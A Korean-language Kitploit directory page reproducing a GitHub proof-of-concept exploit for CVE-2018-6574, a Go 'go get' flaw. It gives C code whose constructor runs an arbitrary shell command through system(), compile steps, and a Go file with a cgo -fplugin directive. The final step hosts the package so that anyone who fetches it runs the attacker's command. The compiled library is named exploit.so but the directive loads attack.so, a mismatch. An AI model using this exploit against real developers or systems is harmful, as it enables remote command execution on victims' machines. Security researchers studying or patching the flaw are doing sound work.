Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/itsfading/cve-2018-6574
Vulnerability AnalysisExploitationShellcodeWeb Application ExploitationPayload DevelopmentBinary Exploitation
GitHubitsfading/cve-2018-6574

CVE-2018-6574

CVE-2018-6574에 대한 개념 증명 익스플로잇으로, CGO 공유 라이브러리를 사용한 악성 Go 플러그인 주입을 통해 임의 명령 실행을 시연합니다.

저장소 보기
1124년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2018-6574 POC

CVE-2018-6574용 익스플로잇 POC

컴파일

  1. 다음과 같은 익스플로잇 파일을 생성합니다:
root@kitploit:~
#include<stdio.h>
#include<stdlib.h>

static void malicious() __attribute__((constructor));

void malicious() {
    system("COMMAND");
}
  1. 컴파일합니다:
root@kitploit:~
gcc -shared -o exploit.so -fPIC exploit.c
  1. 마지막으로, cgo가 당신의 플러그인을 사용하도록 지시하는 Go 코드가 필요합니다:
root@kitploit:~
package main
// #cgo CFLAGS: -fplugin=./attack.so
// typedef int (*intFunc) ();
//
// int
// bridge_int_func(intFunc f)
// {
//      return f();
// }
//
// int fortytwo()
// {
//      return 42;
// }
import "C"
import "fmt"

func main() {
    f := C.intFunc(C.fortytwo)
    fmt.Println(int(C.bridge_int_func(f)))
    // Output: 42
}
  1. 그런 다음 GitHub에 호스팅하고 실행하여 명령 실행 권한을 얻습니다:
root@kitploit:~
go get github.com/your-repo/CVE-2018-6574-POC

버전

  • 1.8.7 이전
  • 1.9.4 이전
  • Go 1.10rc2 이전

참고 자료

  • https://nvd.nist.gov/vuln/detail/CVE-2018-6574
  • http://blog.nsfocus.net/cve-2018-6574/
도구 다운로드